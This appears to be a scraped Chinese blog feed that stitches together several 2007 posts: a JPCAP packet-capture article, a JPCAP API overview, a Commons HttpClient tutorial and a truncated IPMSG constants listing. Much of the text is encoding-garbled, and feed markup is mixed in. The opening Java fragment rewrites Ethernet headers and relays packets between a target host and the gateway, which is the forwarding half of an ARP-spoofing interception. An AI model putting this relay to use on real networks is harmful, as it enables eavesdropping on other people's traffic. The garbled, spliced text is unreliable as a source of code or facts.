*修改包的以太_转发数据?/span>
*参数 packet               收到的数据包
*参数 changeMAC     要{发出ȝ目标
*/
private void send(Packet packet, byte[] changeMAC) {                      
                   EthernetPacket eth;
                   if (packet.datalink instanceof EthernetPacket) {
                            eth = (EthernetPacket) packet.datalink;
                            for (int i = 0; i < 6; i++) {
                                     eth.dst_mac[i] = changeMAC[i];                      //修改包以太头Q改变包的目?/span>
                                     eth.src_mac[i] = device.mac_address[i];            //源发送者ؓA
                            }
                            sender.sendPacket(packet);
                   }
}
/**
*打印接受到的数据包ƈ转发
*/
public void recP(){
         IPPacket ipPacket = null;
         while(true){
                  ipPacket = Q?/span>IPPacketQ?/span>jpcap.getPacket();
                            System.out.println(ipPacket);
                           if (ipPacket.src_ip.getHostAddress().equals(targetIp))
                                     send(packet, gateMAC);
                            else
                                     send(packet, targetMAC);
                   }
}
 
注意Q这个例子只是ؓ了说明问题,q没有考虑到程序的健壮性,所以ƈ不一定能在Q何一台机器Q何一个系l上q行?/div>  

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1370905



smildlzj 2007-11-24 23:41 发表评论
]]>JPCAP——JAVA中的数据链\层控?之一 http://m.tkk7.com/smildlzj/articles/162904.htmlsmildlzjsmildlzjSat, 24 Nov 2007 15:39:00 GMThttp://m.tkk7.com/smildlzj/articles/162904.htmlhttp://m.tkk7.com/smildlzj/comments/162904.htmlhttp://m.tkk7.com/smildlzj/articles/162904.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/162904.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/162904.html 半年前网l技术课的老师要我们做个ARP查询Q老师是教人用winsock的,可我一味钻javaQ干着急,钻进java世界到处查,l于扑ֈq么一个东ѝ?

然后做了一个ARP监听器,没想到被老师看上了,说是国内JPCAP研究的h不多Q可以考虑写一论文,老师l我推荐发表?/p>

于是有了q么一东ѝ不q现在还不知道老师发哪个刊物去了。。。老师_q没回音。?/p>

 注:׃字数限制Q分?部分发?/p>

 

 

JPCAP—?/span>JAVA中的数据链\层控?/span>
 
一Q?/strong>JPCAP?/strong>
众所周知QJAVA语言虽然在TCP/UDP传输斚wl予了良好的定义Q但对于|络层以下的控制Q却是无能ؓ力的。JPCAP扩展包I补了q一炏V?/div>
JPCAP实际上ƈ非一个真正去实现Ҏ据链路层的控Ӟ而是一个中间gQJPCAP调用wincap/libpcapQ而给JAVA语言提供一个公q接口Q从而实Cq_无关性。在官方|站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP{系l?/div>
二.JPCAP机制
       JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterfacecd应wincap?/span>typedef struct _ADAPTER  ADAPTERQ?/span>getDeviceList()对应pcap_findalldevs(){等?span> JPCAP?6个类Q下面就其中最重要?个类做说明?/span>
 
1Q?/span>NetworkInterface
该类的每一个实例代表一个网l设备,一般就是网卡。这个类只有一些数据成员,除了l承自java.lang.Object的基本方法以外,没有定义其它Ҏ?/div>
 

数据成员
NetworkInterfaceAddress[]
addresses
    q个接口的网l地址。设定ؓ数组应该是考虑到有些设备同时连接多条线路,例如路由器。但我们的PC机的|卡一般只有一条线路,所以我们一般取addresses[0]够了?/span>
 java.lang.String
datalink_description.
    数据链\层的描述。描q所在的局域网是什么网。例如,以太|(EthernetQ、无ULAN|(wireless LANQ、o牌环|?token ring){等?/span>
 java.lang.String
datalink_name
   该网l设备所对应数据链\层的名称。具体来_例如Ethernet10M?span>100M?000M{等?/span>
 java.lang.String
description
   |卡是XXXX牌子XXXX型号之类的描q。例如我的网卡描qͼRealtek RTL8169/8110 Family Gigabit Ethernet NIC
 boolean
Loopback
    标志q个讑֤是否loopback讑֤?/span>
 byte[]
mac_address
   |卡的MAC地址Q?个字节?/span>
 java.lang.String
Name
    q个讑֤的名U。例如我的网卡名Uͼ\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

 
2Q?/span>JpcapCaptor
该类提供了一pd静态方法实C些基本的功能。该cM个实例代表徏立了一个与指定讑֤的链接,可以通过该类的实例来控制讑֤Q例如设定网卡模式、设定过滤关键字{等?/div>
 

数据成员
 int
dropped_packets 
抛弃的包的数目?/span>
protected  int
ID
    q个数据成员在官Ҏ档中q没有做M说明Q查?/span>JPCAP源代码可以发现这?/span>ID实际上在?/span>JNI?/span>C代码部分传进来的Q这cLwƈ没有做出定义Q所以是供其内部使用的。实际上在对JpcapCator实例的用中也没有办法调用此数据成员?/span>
protected static boolean[]
instanciatedFlag
   同样在官Ҏ档中没有做Q何说明,估计其ؓ供内部用?/span>
protected static int
MAX_NUMBER_OF_INSTANCE
同样在官Ҏ档中没有做Q何说明,估计其ؓ供内部用?/span>
int
received_packets
        
收到的包的数?/span>
Ҏ成员
static NetworkInterface[]
getDeviceList()
          
q回一个网l设备列表?/span>
static JpcapCaptor
openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
        
创徏一个与指定讑֤的连接ƈq回该连接。注意,以上两个Ҏ都是静态方法?/span>
      InterfaceQ要打开q接的设备的实例Q?/span>
      SnaplenQ这个是比较Ҏ搞؜的一个参数。其实这个参C是限制只能捕捉多数据包Q而是限制每一ơ收C个数据包Q只提取该数据包中前多少字节Q?/span>
      PromiscQ设|是否؜杂模式。处于؜杂模式将接收所有数据包Q若之后又调用了包过滤函?/span>setFilter()不起Q何作用;
      To_msQ这个参C要用?/span>processPacket()ҎQ指定超时的旉Q?/span>
 void
Close()
          
关闭调用该方法的讑֤的连接,相对?/span>openDivece()打开q接?/span>
 JpcapSender
getJpcapSenderInstance()
         
该返回一?/span>JpcapSender实例Q?/span>JpcapSendercL专门用于控制讑֤的发送数据包的功能的cR?/span>
 Packet
getPacket()
          
捕捉q返回一个数据包。这?/span>JpcapCaptor实例中四U捕捉包的方法之一?/span>
 int
loopPacket(int count, PacketReceiver handler)
         
捕捉指定数目的数据包Qƈ交由实现?/span>PacketReceiver接口的类的实例处理,q返回捕捉到的数据包数目。如?/span>count参数设ؓQ?/span>1Q那么无限@环地捕捉数据?/span>
      q个Ҏ不受时的媄响。还记得openDivice()中的to_ms参数么?那个参数对这个方法没有媄响,如果没有捕捉到指定数目数据包Q那么这个方法将一直阻塞等待?/span>
PacketReceiver中只有一个抽象方?/span>void receive(Packet p)?/span>
 int
processPacket(int count, PacketReceiver handler)
          
?/span>loopPacket()功能一P唯一的区别是q个Ҏ受超时的影响Q超q指定时间自动返回捕捉到数据包的数目?/span>
 int
dispatchPacket(int count, PacketReceiver handler)
        
?/span>processPacket()功能一P区别是这个方法可以处?#8220;non-blocking”模式工作Q在q种模式下dispatchPacket()可能立即q回Q即使没有捕捉到M数据包?/span>
 void
setFilter(java.lang.String condition, boolean optimize)
          .
conditionQ?/span>讑֮要提取的包的关键字?/span>
       OptimizeQ这个参数在说明文档以及源代码中都没有说明,只是说这个参数如果ؓ真,那么qo器将处于优化模式?/span>
 void
setNonBlockingMode(boolean nonblocking)
     如果gؓ“true”Q那么设定ؓ“non-blocking”模式?/span>
 void
breakLoop()
     当调?/span>processPacket()?/span>loopPacket()后,再调用这个方法可以强制让processPacket()?/span>loopPacket()停止?/span>

 
3Q?/span>JpcapSender
该类专门用于控制数据包的发送?/div>
 

Ҏ成员
 void
close()
         
强制关闭q个q接?/span>
static JpcapSender
openRawSocket()
     q个Ҏq回?/span>JpcapSender实例发送数据包时将自动填写数据链\层头部分?/span>
 void
sendPacket(Packet packet)
          JpcapSender
最重要的功能,发送数据包。需要注意的是,如果调用q个Ҏ的实例是?/span>JpcapCaptor?/span>getJpcapSenderInstance()得到的话Q需要自p定数据链路层的头Q而如果是׃面的openRawSocket()得到的话Q那么无需也不能设|,数据链\层的头部由pȝ自动生成?/span>

 
4Q?/span>Packet
q个是所有其它数据包cȝ父类。Jpcap所支持的数据包有:
ARPPacket?/span>DatalinkPacket?/span>EthernetPacket?/span>ICMPPacket?/span>IPPacket?/span>TCPPacket?/span>UDPPacket

?http://hzxdark.javaeye.com/blog/35956


smildlzj 2007-11-24 23:39 发表评论
]]>用HttpClient来模拟浏览器GET POSThttp://m.tkk7.com/smildlzj/articles/161977.htmlsmildlzjsmildlzjTue, 20 Nov 2007 15:52:00 GMThttp://m.tkk7.com/smildlzj/articles/161977.htmlhttp://m.tkk7.com/smildlzj/comments/161977.htmlhttp://m.tkk7.com/smildlzj/articles/161977.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/161977.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/161977.html一般的情况下我们都是用IE或者Navigator览器来讉K一个WEB服务器,用来览面查看信息或者提交一些数据等{。所讉K的这些页面有的仅仅是一些普通的面Q有的需要用L录后方可使用Q或者需要认证以及是一些通过加密方式传输Q例如HTTPS。目前我们用的览器处理这些情况都不会构成问题。不q你可能在某些时候需要通过E序来访问这L一些页面,比如从别人的|页?#8220;?#8221;一些数据;利用某些站点提供的页面来完成某种功能Q例如说我们想知道某个手机号码的归属地而我们自己又没有q样的数据,因此只好借助其他公司已有的网站来完成q个功能Q这个时候我们需要向|页提交手机Lq从q回的页面中解析出我们想要的数据来。如果对方仅仅是一个很单的面Q那我们的程序会很简单,本文也就没有必要大张旗鼓的在q里费口舌。但是考虑C些服务授权的问题Q很多公司提供的面往往q不是可以通过一个简单的URL可以访问的Q而必ȝq注册然后登录后方可使用提供服务的页面,q个时候就涉及到COOKIE问题的处理。我们知道目前流行的***|术例如ASP、JSP无不是通过COOKIE来处理会话信息的。ؓ了我们的程序能使用别h所提供的服务页面,p求程序首先登录后再访问服务页面,q过E就需要自行处理cookieQ想惛_你用java.net.HttpURLConnection来完成这些功能时是多么恐怖的事情啊!况且q仅仅是我们所说的固的WEB服务器中的一个很常见?#8220;固”Q再有如通过HTTP来上传文件呢Q不需要头|q些问题有了“?#8221;很Ҏ解决了!

我们不可能列举所有可能的固Q我们会针对几种最常见的问题进行处理。当然了Q正如前面说到的Q如果我们自׃用java.net.HttpURLConnection来搞定这些问题是很恐怖的事情Q因此在开始之前我们先要介l一下一个开放源码的目Q这个项目就是Apache开源组l中的httpclientQ它隶属于Jakarta的commons目Q目前的版本?.0RC2。commons下本来已l有一个net的子目Q但是又把httpclient单独提出来,可见http服务器的讉Kl非易事?/font>

Commons-httpclient目是专门设计来简化HTTP客户端与服务器进行各U通讯~程。通过它可以让原来很头疼的事情现在L的解冻I例如你不再管是HTTP或者HTTPS的通讯方式Q告诉它你想使用HTTPS方式Q剩下的事情交给httpclient替你完成。本文会针对我们在编写HTTP客户端程序时l常到的几个问题进行分别介l如何用httpclient来解军_们,Z让读者更快的熟悉q个目我们最开始先l出一个简单的例子来读取一个网늚内容Q然后@序渐q解x前进中的所形侍?/font>

1Q?d|页(HTTP/HTTPS)内容

下面是我们给出的一个简单的例子用来讉K某个面

/*

 * Created on 2003-12-14 by Liudong

 */

package http.demo;

 

import java.io.IOException;

 

import org.apache.commons.httpclient.*;

import org.apache.commons.httpclient.methods.*;

/**

 * 最单的HTTP客户?用来演示通过GET或者POST方式讉K某个面

 * @author Liudong

 */

public class SimpleClient {

 

    public static void main(String[] args) throws IOException

    {

        HttpClient client = new HttpClient();   

        //讄代理服务器地址和端?nbsp;   

        //client.getHostConfiguration().setProxy("proxy_host_addr",proxy_port);

        //使用GETҎQ如果服务器需要通过HTTPSq接Q那只需要将下面URL中的http换成https

        HttpMethod method = new GetMethod("http://java.sun.com");

        //使用POSTҎ

        //HttpMethod method = new PostMethod("http://java.sun.com");

        client.executeMethod(method);

        //打印服务器返回的状?/font>

        System.out.println(method.getStatusLine());

        //打印q回的信?/font>

        System.out.println(method.getResponseBodyAsString());

        //释放q接

        method.releaseConnection();

    }
}

 

在这个例子中首先创徏一个HTTP客户?HttpClient)的实例,然后选择提交的方法是GET或者POSTQ最后在HttpClient实例上执行提交的ҎQ最后从所选择的提交方法中d服务器反馈回来的l果。这是使用HttpClient的基本流E。其实用一行代码也可以搞定整个请求的q程Q非常的单!


2Q?以GET或者POST方式向网|交参?/font>

其实前面一个最单的CZ中我们已l介l了如何使用GET或者POST方式来请求一个页面,本小节与之不同的是多了提交时讑֮面所需的参敎ͼ我们知道如果是GET的请求方式,那么所有参数都直接攑ֈ面的URL后面用问号与面地址隔开Q每个参数用&隔开Q例如:http://java.sun.com?name=liudong&mobile=123456Q但是当使用POSTҎ时就会稍微有一点点ȝ。本节的例子演C向如何查询手机L所在的城市Q代码如下:

 

/*

 * Created on 2003-12-7 by Liudong

 */

package http.demo;

 

import java.io.IOException;

 

import org.apache.commons.httpclient.*;

import org.apache.commons.httpclient.methods.*;

/**

 * 提交参数演示

 * 该程序连接到一个用于查询手机号码所属地的页?/font>

 * 以便查询LD?330227所在的省䆾以及城市

 * @author Liudong

 */

public class SimpleHttpClient {

 

    public static void main(String[] args) throws IOException

    {

        HttpClient client = new HttpClient();

        client.getHostConfiguration().setHost("www.imobile.com.cn", 80, "http");

 

        HttpMethod method = getPostMethod();//使用POST方式提交数据

        client.executeMethod(method);

       //打印服务器返回的状?/font>

        System.out.println(method.getStatusLine());

        //打印l果面

        String response =

           new String(method.getResponseBodyAsString().getBytes("8859_1"));

       //打印q回的信?/font>

        System.out.println(response);

        method.releaseConnection();

    }

    /**

     * 使用GET方式提交数据

     * @return

     */

    private static HttpMethod getGetMethod(){

        return new GetMethod("/simcard.php?simcard=1330227");

    }

    /**

     * 使用POST方式提交数据

     * @return

     */

    private static HttpMethod getPostMethod(){

        PostMethod post = new PostMethod("/simcard.php");

        NameValuePair simcard = new NameValuePair("simcard","1330227");

        post.setRequestBody(new NameValuePair[] { simcard});

        return post;

    }

}

在上面的例子中页?/font>http://www.imobile.com.cn/simcard.php需要一个参数是simcardQ这个参数gؓ手机LD,x机号码的前七位,服务器会q回提交的手机号码对应的省䆾、城市以及其他详l信息。GET的提交方法只需要在URL后加入参C息,而POST则需要通过NameValuePaircL讄参数名称和它所对应的?/font>

3Q?处理面重定?/font>

在JSP/Servlet~程中response.sendRedirectҎ是使用HTTP协议中的重定向机制。它与JSP中的<jsp:forward …>的区别在于后者是在服务器中实现页面的跌{Q也是说应用容器加载了所要蟩转的面的内容ƈq回l客LQ而前者是q回一个状态码Q这些状态码的可能D下表Q然后客Ld需要蟩转到的页面的URLq新加载新的页面。就是这样一个过E,所以我们编E的时候就要通过HttpMethod.getStatusCode()Ҏ判断q回值是否ؓ下表中的某个值来判断是否需要蟩转。如果已l确认需要进行页面蟩转了Q那么可以通过dHTTP头中的location属性来获取新的地址?/font>

状态码
 对应HttpServletResponse的常?br />  详细描述
 
301
 SC_MOVED_PERMANENTLY
 面已经怹Ud另外一个新地址
 
302
 SC_MOVED_TEMPORARILY
 面暂时Ud到另外一个新的地址
 
303
 SC_SEE_OTHER
 客户端请求的地址必须通过另外的URL来访?br />  
307
 SC_TEMPORARY_REDIRECT
 同SC_MOVED_TEMPORARILY
 


下面的代码片D|C如何处理页面的重定?/font>

client.executeMethod(post);

        System.out.println(post.getStatusLine().toString());

        post.releaseConnection();

       

        //查是否重定向

        int statuscode = post.getStatusCode();

        if ((statuscode == HttpStatus.SC_MOVED_TEMPORARILY) ||

            (statuscode == HttpStatus.SC_MOVED_PERMANENTLY) ||

            (statuscode == HttpStatus.SC_SEE_OTHER) ||

(statuscode == HttpStatus.SC_TEMPORARY_REDIRECT)) {

//d新的URL地址

            Header header = post.getResponseHeader("location");

            if (header != null) {

                String newuri = header.getValue();

                if ((newuri == null) || (newuri.equals("")))

                    newuri = "/";

                GetMethod redirect = new GetMethod(newuri);

                client.executeMethod(redirect);

                System.out.println("Redirect:"+ redirect.getStatusLine().toString());

                redirect.releaseConnection();

            } else

                System.out.println("Invalid redirect");

        }

我们可以自行~写两个JSP面Q其中一个页面用response.sendRedirectҎ重定向到另外一个页面用来测试上面的例子?/font>

4Q?模拟输入用户名和口oq行d

本小节应该说是HTTP客户端编E中最常碰见的问题Q很多网站的内容都只是对注册用户可见的,q种情况下就必须要求使用正确的用户名和口令登录成功后Q方可浏览到惌的页面。因为HTTP协议是无状态的Q也是q接的有效期只限于当前请求,h内容l束后连接就关闭了。在q种情况下ؓ了保存用Ld信息必须使用到Cookie机制。以JSP/ServletZQ当览器请求一个JSP或者是Servlet的页面时Q应用服务器会返回一个参敎ͼ名ؓjsessionidQ因不同应用服务器而异Q,值是一个较长的唯一字符串的CookieQ这个字W串g是当前讉K该站点的会话标识。浏览器在每讉K该站点的其他面时候都要带上jsessionidq样的Cookie信息Q应用服务器Ҏdq个会话标识来获取对应的会话信息?/font>

对于需要用L录的|站Q一般在用户d成功后会用戯料保存在服务器的会话中,q样当访问到其他的页面时候,应用服务器根据浏览器送上的Cookie中读取当前请求对应的会话标识以获得对应的会话信息Q然后就可以判断用户资料是否存在于会话信息中Q如果存在则允许讉K面Q否则蟩转到d面中要求用戯入帐号和口oq行d。这是一般用JSP开发网站在处理用户d的比较通用的方法?/font>

q样一来,对于HTTP的客L来讲Q如果要讉K一个受保护的页面时必L拟浏览器所做的工作Q首先就是请求登录页面,然后dCookie|再次hd面q加入登录页所需的每个参敎ͼ最后就是请求最l所需的页面。当然在除第一ơ请求外其他的请求都需要附带上Cookie信息以便服务器能判断当前h是否已经通过验证。说了这么多Q可是如果你使用httpclient的话Q你甚至q一行代码都无需增加Q你只需要先传递登录信息执行登录过E,然后直接讉K惌的页面,跟访问一个普通的面没有M区别Q因为类HttpClient已经帮你做了所有该做的事情了,太棒了!下面的例子实Cq样一个访问的q程?/font>


/*

 * Created on 2003-12-7 by Liudong

 */

package http.demo;

 

import org.apache.commons.httpclient.*;

import org.apache.commons.httpclient.cookie.*;

import org.apache.commons.httpclient.methods.*;

 

/**

 * 用来演示d表单的示?/font>

 * @author Liudong

 */

public class FormLoginDemo {

 

    static final String LOGON_SITE = "localhost";

    static final int    LOGON_PORT = 8080;

   

    public static void main(String[] args) throws Exception{

        HttpClient client = new HttpClient();

        client.getHostConfiguration().setHost(LOGON_SITE, LOGON_PORT);

      

       //模拟d面login.jsp->main.jsp

        PostMethod post = new PostMethod("/main.jsp");

        NameValuePair name = new NameValuePair("name", "ld");    

        NameValuePair pass = new NameValuePair("password", "ld");    

        post.setRequestBody(new NameValuePair[]{name,pass});

       int status = client.executeMethod(post);

        System.out.println(post.getResponseBodyAsString());

        post.releaseConnection(); 

      

       //查看cookie信息

        CookieSpec cookiespec = CookiePolicy.getDefaultSpec();

        Cookie[] cookies = cookiespec.match(LOGON_SITE, LOGON_PORT, "/", false, client.getState().getCookies());

       if (cookies.length == 0) {

           System.out.println("None");   

       } else {

           for (int i = 0; i < cookies.length; i++) {

               System.out.println(cookies[i].toString());   

           }

       }

       //讉K所需的页面main2.jsp

        GetMethod get = new GetMethod("/main2.jsp");

        client.executeMethod(get);

        System.out.println(get.getResponseBodyAsString());

        get.releaseConnection();

    }

}

5Q?提交XML格式参数

提交XML格式的参数很单,仅仅是一个提交时候的ContentType问题Q下面的例子演示从文件文件中dXML信息q提交给服务器的q程Q该q程可以用来试Web服务?/font>

import java.io.File;

import java.io.FileInputStream;

 

import org.apache.commons.httpclient.HttpClient;

import org.apache.commons.httpclient.methods.EntityEnclosingMethod;

import org.apache.commons.httpclient.methods.PostMethod;

 

/**

 * 用来演示提交XML格式数据的例?/font>

 */

public class PostXMLClient {

 

    public static void main(String[] args) throws Exception {

        File input = new File(“test.xml”);

        PostMethod post = new PostMethod(“http://localhost:8080/httpclient/xml.jsp”);

        // 讄h的内容直接从文g中读?/font>

        post.setRequestBody(new FileInputStream(input));

       

        if (input.length() < Integer.MAX_VALUE)

            post.setRequestContentLength(input.length());

        else            post.setRequestContentLength(EntityEnclosingMethod.CONTENT_LENGTH_CHUNKED);

       

        // 指定h内容的类?/font>

        post.setRequestHeader("Content-type", "text/xml; charset=GBK");

       

        HttpClient httpclient = new HttpClient();

        int result = httpclient.executeMethod(post);

        System.out.println("Response status code: " + result);

        System.out.println("Response body: ");

        System.out.println(post.getResponseBodyAsString());

        post.releaseConnection();

    }

}

6Q?通过HTTP上传文g

httpclient使用了单独的一个HttpMethod子类来处理文件的上传Q这个类是MultipartPostMethodQ该cdl封装了文g上传的细节,我们要做的仅仅是告诉它我们要上传文g的全路径卛_Q下面的代码片段演示如何使用q个cR?/font>

MultipartPostMethod filePost = new MultipartPostMethod(targetURL);

filePost.addParameter("fileName", targetFilePath);

HttpClient client = new HttpClient();

//׃要上传的文g可能比较?因此在此讄最大的q接时旉

client.getHttpConnectionManager().getParams().setConnectionTimeout(5000);

int status = client.executeMethod(filePost);


上面代码中,targetFilePath即ؓ要上传的文g所在的路径?/font>

7Q?讉K启用认证的页?/font>

我们l常会碰到这L面Q当讉K它的时候会弹出一个浏览器的对话框要求输入用户名和密码后方可,q种用户认证的方式不同于我们在前面介l的Z表单的用戯n份验证。这是HTTP的认证策略,httpclient支持三种认证方式包括Q基本、摘要以及NTLM认证。其中基本认证最单、通用但也最不安全;摘要认证是在HTTP 1.1中加入的认证方式Q而NTLM则是微Y公司定义的而不是通用的规范,最新版本的NTLM是比摘要认证q要安全的一U方式?/font>

下面例子是从httpclient的CVS服务器中下蝲的,它简单演C如何访问一个认证保护的面Q?/font>


import org.apache.commons.httpclient.HttpClient;

import org.apache.commons.httpclient.UsernamePasswordCredentials;

import org.apache.commons.httpclient.methods.GetMethod;

 

public class BasicAuthenticationExample {

    public BasicAuthenticationExample() {

    }

    public static void main(String[] args) throws Exception {

        HttpClient client = new HttpClient();

        client.getState().setCredentials(

            "www.verisign.com",

            "realm",

            new UsernamePasswordCredentials("username", "password")

        );

        GetMethod get = new GetMethod("https://www.verisign.com/products/index.html");

        get.setDoAuthentication( true );

        int status = client.executeMethod( get );

        System.out.println(status+""+ get.getResponseBodyAsString());

        get.releaseConnection();

    }

}

8Q?多线E模式下使用httpclient

多线E同时访问httpclientQ例如同时从一个站点上下蝲多个文g。对于同一个HttpConnection同一个时间只能有一个线E访问,Z保证多线E工作环境下不生冲H,httpclient使用了一个多U程q接理器的c:MultiThreadedHttpConnectionManagerQ要使用q个cd单,只需要在构造HttpClient实例的时候传入即可,代码如下Q?/font>

MultiThreadedHttpConnectionManager connectionManager =

   new MultiThreadedHttpConnectionManager();

HttpClient client = new HttpClient(connectionManager);

以后管讉Kclient实例卛_?/font>

参考资料:

httpclient首页Q?nbsp;   http://jakarta.apache.org/commons/httpclient/
关于NTLM是如何工作:  http://davenport.sourceforge.net/ntlm.html



smildlzj 2007-11-20 23:52 发表评论
]]>
数据库对象的~存{略http://m.tkk7.com/smildlzj/articles/161464.htmlsmildlzjsmildlzjSun, 18 Nov 2007 14:23:00 GMThttp://m.tkk7.com/smildlzj/articles/161464.htmlhttp://m.tkk7.com/smildlzj/comments/161464.htmlhttp://m.tkk7.com/smildlzj/articles/161464.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/161464.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/161464.html阅读全文

smildlzj 2007-11-18 22:23 发表评论
]]>
用Java向IPMSG发送消?/title><link>http://m.tkk7.com/smildlzj/articles/161008.html</link><dc:creator>smildlzj</dc:creator><author>smildlzj</author><pubDate>Fri, 16 Nov 2007 06:17:00 GMT</pubDate><guid>http://m.tkk7.com/smildlzj/articles/161008.html</guid><wfw:comment>http://m.tkk7.com/smildlzj/comments/161008.html</wfw:comment><comments>http://m.tkk7.com/smildlzj/articles/161008.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/smildlzj/comments/commentRss/161008.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/smildlzj/services/trackbacks/161008.html</trackback:ping><description><![CDATA[飞鸽传书QIP Messenger,为IPMsgQ是一个小巧方便的x通信软gQ它适合用于局域网内甚臛_域网间进行实旉信和文档共享。特别是在局域网内传送文?文g夹的速度非常快!<br /> <ul> <li>IPMsg 是一Ƒֱ域网内即旉信软g, Z TCP/IP(UDP). <li>可运行于多种操作q_(Win/Mac/UNIX/Java), q实现跨q_信息交流. <li>不需要服务器支持. <li>支持文g/文g夹的传?(2.00版以? <li>通讯数据采用 RSA/Blofish 加密 (2.00版以? <li>十分y, 单易? 而且你可以完全免费用它 <li>目前已有的版本包? Win32, Win16, MacOS, MacOSX, X11, GTK, GNOME,Java {? q且公开源代码?/li> </ul> <br /> 本文演示了如何用Java的net包,向IPMSG客户端发送消息?br /> <br /> IPMSG Command 帔R定义如下Q?br /> <br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: rgb(0,128,128)"> <font face="Courier New">1</font></span><font face="Courier New"> <span style="color: rgb(0,128,0)">/*</span><span style="color: rgb(0,128,0)">========== Constant Value ==========</span><span style="color: rgb(0,128,0)">*/</span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 2</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_COMMASK </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x000000ff</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 3</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_OPTMASK </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0xffffff00</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 4</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_NOOPERATION </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 5</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_BR_ENTRY </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000001</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 6</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_BR_EXIT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000002</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 7</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_ANSENTRY </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000003</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 8</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_BR_ABSENCE </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000004</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)"> 9</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">10</span> <span style="color: rgb(0,0,0)"> <br /> </span><span style="color: rgb(0,128,128)">11</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">12</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_BR_ISGETLIST 